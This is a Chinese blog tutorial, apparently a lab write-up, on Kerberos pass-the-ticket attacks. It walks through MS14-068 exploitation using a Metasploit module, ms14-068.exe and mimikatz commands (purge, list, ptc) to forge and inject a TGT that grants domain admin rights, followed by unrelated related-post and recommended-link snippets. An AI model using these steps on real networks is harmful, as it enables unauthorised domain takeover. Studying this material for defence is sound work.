票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单。

1.ptt攻击的部分

就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的

Kerberos协议具体工作方法:Kerberos认证方式,在域中,简要介绍一下:

  • 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
  • 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
  • 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
  • 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。

1.1 ms14-068

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.
在msf里也集成了ms14-068的利用操作,要想使用我们首先得:
域用户sid和域控主机名
目标域名称
当前域用户账户和密码

然后再msf下

msf > use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

注意:这里的rhost设置成你想要假冒的域的主机名,一般是域控主机名
然后找到生成的文件,TGT凭单(具有特权PAC信息)已保存在中
这种格式非常有用,因为可以通过Mimikatz在Windows客户端上或在linux客户端上使用MIT kerberos导入
同时,可以使用mimikatz转换格式(任何mimikatz安装都可以完成工作,而无需成为域计算机或类似的东西):
注意:mimikatz不支持注入xp以及以下系统
在kail系统下还没有默认安装kerberos的认证功能所以我们首先要安装一个kerberos客户端:
apt-get install krb5-user
然后在目标靶机上传mimikatz和生成的bin文件,将我们生成的bin文件转换为.kirbi文件,然后再在通过kiwi meterpreter扩展名加载。首先需要在域计算机上进行会话,然后使用kiwi扩展名导入TGT票证:
上传mimikatz:
上传bin文件:
mimikatz:
ok,导出的文件0-00000000-zhu1@krbtgt-XIAN.COM.kirbi现在可以用于kiwi meterpreter扩展名加载。首先需要在域计算机上进行会话,然后使用kiwi扩展名导入TGT票证:
返回到meterpreter,注意这里必须要有管理员权限才行。
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
运行load kiwi
将生成的kirbi下载回来到本地/tmp/文件夹内:(因为我kali上的kerberos安装有问题...)
download c:/wmpub/--zhu1@krbtgt-XIAN.COM.kirbi /tmp/

最后注入票据:
最后一步总是失败,可能是msf上mimikatz对windows2003的支持问题,下次在win7上试一下。

1.2 使用ms14-068.exe

除了使用msf配合mimikatz,还可以使用ms14-068.exe,全程在目标机上完成注入

1.2.1 使用whoami/user得到域用户的sid

1.2.2 执行payload生成TGT票据

    使用工具:ms14-068
    使用方法:
ms14-.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
        运行:
MS14-.exe -u xian.com -s S------- -d 192.168.5.2 -p xxx
如果操作正确,且域机器是可以和域控制器互通则会创建.ccache文件
当前目录下生成伪造的票据文件:

1.2.3 票据注入

   使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
        mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中

显示错误
经过上面实验,和网上资料,域成员主机如果为windows xp或windows server 2003,是无法正常伪造票据的
 

域渗透之票据传递攻击(pass the ticket,ptt)的更多相关文章

  1. 票据传递攻击(Pass the Ticket,PtT)

    目录 黄金票据 生成票据并导入 查看票据 验证是否成功 黄金票据和白银票据的不同 票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金 ...

  2. 域渗透-凭据传递攻击(pass the hash)完全总结

    总结下PtH具体形式(wmicexec.powershell.msf等) 0x01 PtH攻击原理 && 黄金白银票据 PtH攻击原理 wiki  https://en.wikiped ...

  3. PtH(hash传递攻击)原理探秘

    背景知识 Windows 横向渗透的两种方式 1.hash传递攻击,通过传递NTLM-Hash,登录机器,简称PtH: 2.ticket传递攻击,通过传递kerberos的ticket,登录机器,简称 ...

  4. 域渗透 | kerberos认证及过程中产生的攻击

    ​文章首发于公众号<Z2O安全攻防>​ 直接公众号文章复制过来的,排版可能有点乱, 可以去公众号看. https://mp.weixin.qq.com/s/WMGkQoMnQdyG8UmS ...

  5. 哈希传递攻击利用(Pass The Hash)

    最近又复习了一下内网的相关知识,把以前的整理了一下发出来做个记录. 0x01 哈希传递攻击概念 有一点内网渗透经验的都应该听说过哈希传递攻击,通过找到相应账户相关的密码散列值(LM Hash,NTLM ...

  6. 初级AD域渗透系列

      net group /domain 获得所有域用户组列表 net group “domain admins” /domain 获得域管理员列表 net group “enterprise admi ...

  7. 域渗透复盘(安洵CTF线下)

    复盘线下域渗透环境Write Up 0x01 外网web到DMZ进域 外网web入口 joomla应用   192.168.0.5 反序列化打下来 GET /index.php HTTP/1.1 Ho ...

  8. AD域渗透总结

    域渗透总结 学习并做了一段时间域网络渗透,给我直观的感受就是思路问题和耐心,这个不像技术研究,需要对一个点进行研究,而是遇到问题后要从多个方面思考,寻找"捷径"思路,只要思路正确, ...

  9. 域渗透基础之NTLM认证协议

    域渗透基础的两个认证协议ntlm和Kerberos协议是必须总结的~ 这篇简单总结下ntlm协议 晚上写下kerberos 0x01 NTLM简介 NTLM使用在Windows NT和Windows ...

随机推荐

  1. linux 自动检测 IRQ 号

    驱动在初始化时最有挑战性的问题中的一个是如何决定设备要使用哪个 IRQ 线. 驱动需 要信息来正确安装处理. 尽管程序员可用请求用户在加载时指定中断号, 这是个坏做法, 因为大部分时间用户不知道这个号 ...

  2. linux并口纵览

    因为我们期望大部分读者以所谓的"个人计算机"的形式使用一个 x86 平台, 我们觉得值 得解释一下 PC 并口如何设计的. 并口是在个人计算机上运行数字 I/O 例子代码的外设 接 ...

  3. dotnet 控制台读写 Sqlite 提示 no such table 找不到文件

    在使用 dotnet 读写 Sqlite 可以通过 EF Core 的方法,但是在 EF Core 创建的数据库可能和读写的数据库不是相同的文件 在我运行代码的时候发现在通过迁移创建数据库,创建的文件 ...

  4. Yet Another Array Queries Problem CodeForces - 863D (暴力/思维)

    You are given an array a of size n, and q queries to it. There are queries of two types: 1 li ri — p ...

  5. vue-cli 3.0 eslint

    1.关闭eslint module.exports = { configureWebpack: { devtool: 'source-map' }, lintOnSave: false } 2.修改e ...

  6. 开发API整理(转)

    附送一个 android 源码 查看地址 http://grepcode.com/project/repository.grepcode.com/java/ext/com.google.android ...

  7. C++重载、覆盖与隐藏——转载

    http://www.cnblogs.com/qlee/archive/2011/07/04/2097055.html 成员函数的重载.覆盖与隐藏成员函数的重载.覆盖(override)与隐藏很容易混 ...

  8. vue-cli项目中使用axios

    前言 前后端数据交互中,我们使用最多的就是jQuey中的ajax进行数据交互,但是随着大前端日益的扩大,越来越多的库和框架也渐渐的出现在前端开发人员面前,而本编博客需要介绍的就是在vue-cli项目中 ...

  9. Kafka学习笔记4--Kafka消费者的客户端(PHP)开发

    一.准备工作 虽然 Kafka 是用 Java/Scala 语言编写的,但这不妨碍它对多语言的支持.可以在 Kafka 官网的 CLIENTS 查看 Kafka 支持的语言,其中包括 C/C++.Py ...

  10. 选题Scrum立会报告+燃尽图 02

    此作业要求参见:https://edu.cnblogs.com/campus/nenu/2019fall/homework/8680 组长:杨天宇 组员:魏新,罗杨美慧,王歆瑶,徐丽君 组名:组长 第 ...